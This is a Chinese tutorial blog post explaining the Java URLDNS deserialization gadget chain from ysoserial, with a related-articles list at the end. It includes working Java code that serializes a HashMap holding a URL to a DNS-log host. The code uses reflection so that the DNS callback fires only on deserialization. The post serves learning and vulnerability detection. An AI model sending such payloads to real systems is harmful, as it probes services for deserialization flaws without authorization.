• URLDNS链


    听说这个链子是最简单的链子之一了,但是却是来来回回看了好多遍才勉强看明白。

    在 ysoserial 中我们可以看见链子是这样的:

    *Gadget Chain:

    * HashMap.readObject()

    * HashMap.putVal()

    * HashMap.hash()

    * URL.hashCode()

    简单流程:

    1.HashMap接收一个类O(URL类)

    2.类O(URL类)的hashCode()后续的一串链子可以发起DNS请求

    3.HashMap的readObject刚好可以调用O.hashCode();

    现在我们来编写类来观察如何触发DNS请求

    1. package packet1;
    2. import java.io.FileOutputStream;
    3. import java.io.IOException;
    4. import java.io.ObjectOutputStream;
    5. import java.lang.reflect.Field;
    6. import java.net.URL;
    7. import java.util.HashMap;
    8. public class SerializeTest{
    9. public static void serialize(Object obj) throws IOException {
    10. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    11. oos.writeObject(obj);
    12. }
    13. public static void main(String[] args) throws Exception {
    14. HashMap hashmap = new HashMap();
    15. URL url = new URL("http://25d13c3b.dns.1433.eu.org");
    16. Classextends URL> clazz = url.getClass();
    17. hashmap.put(url, 1);
    18. serialize(hashmap);
    19. }
    20. }

    这个类可以进行序列化,按照正常来说序列化的过程是不会进行DNS请求的,但是我们查看DNSlog平台:

    发现序列化的时候就发起请求了,这样有几个非常不好的地方:

    1. 影响我们判断是否有URLDNS这个漏洞存在(因为我们是想要反序列化的时候触发)
    2. 最重要的是其实在序列化之后URL类里面的hashCode已经被改变了,反序列化的时候并不会触发

    下图是URL类中的hashCode()方法;

    这里只有当hashCode不为负一的时候才会走handler发起DNS请求

    hashCode在初始化的时候已经被赋值成-1了:

    但是我们序列化之后值已经被改变成为handler.hashCode

    那么就有一个疑问,序列化的时候是怎么触发的?

    我们跟进put:

    发现会调用hash函数。跟进hash:

    发现调用handler,并且此时hashCode的值被改变

    跟进hashcode:

    调用getProtocol(),调用getHost():

    其他更细节的我就没跟进,但是我们需要知道调用URL的hashCode()之后,并且hashCode的值不为-1就会发起DNS请求。所以我们可以通过反射技术来改变值,以此来达到序列化的时候不进行DNS请求,但是反序列化的时候会进行DNS请求

    所以让我们来改进代码:

    序列化代码:

    1. package packet1;
    2. import java.io.FileOutputStream;
    3. import java.io.IOException;
    4. import java.io.ObjectOutputStream;
    5. import java.lang.reflect.Field;
    6. import java.net.URL;
    7. import java.util.HashMap;
    8. public class SerializeTest{
    9. public static void serialize(Object obj) throws IOException {
    10. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    11. oos.writeObject(obj);
    12. }
    13. public static void main(String[] args) throws Exception {
    14. HashMap hashmap = new HashMap();
    15. URL url = new URL("http://25d13c3b.dns.1433.eu.org");
    16. Classextends URL> clazz = url.getClass();
    17. Field field = clazz.getDeclaredField("hashCode");
    18. field.setAccessible(true);
    19. field.set(url, 1234);
    20. hashmap.put(url, 1);
    21. field.set(url, -1);
    22. serialize(hashmap);
    23. }
    24. }

    在put之前我们改变url的hashCode值不为-1,put之后我们把url的hashCode改为-1,之后再对hashmap进行序列化。

    反序列化代码:

    1. package packet1;
    2. import java.io.FileInputStream;
    3. import java.io.IOException;
    4. import java.io.ObjectInputStream;
    5. public class UnSerializeTest {
    6. public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
    7. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    8. Object obj = ois.readObject();
    9. return obj;
    10. }
    11. public static void main(String[] args) throws IOException, ClassNotFoundException {
    12. unSerialize("ser.bin");
    13. }
    14. }

    经过测试之后,序列化的时候不会发起DNS请求,反序列化之后可以发起DNS请求.

  • 相关阅读:
    使用docker搭建squoosh
    安装运行vue-element-admin的报错问题-解决办法
    AI无处不在,科技改变生活:开放原子全球开源峰会参会感悟
    Windows 11 Manager v1.1.8 系统优化工具中文便携版
    【操作系统】文件系统的逻辑结构与目录结构
    【Linux】部署单机OA项目及搭建spa前后端分离项目
    SpringDoc上传附件或文件 - Swagger3
    TFT-LCD屏幕显示图片
    抽象工厂的优点和缺点
    C++之OpenCV入门到提高003:矩阵的掩膜(Mask)处理
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/128157812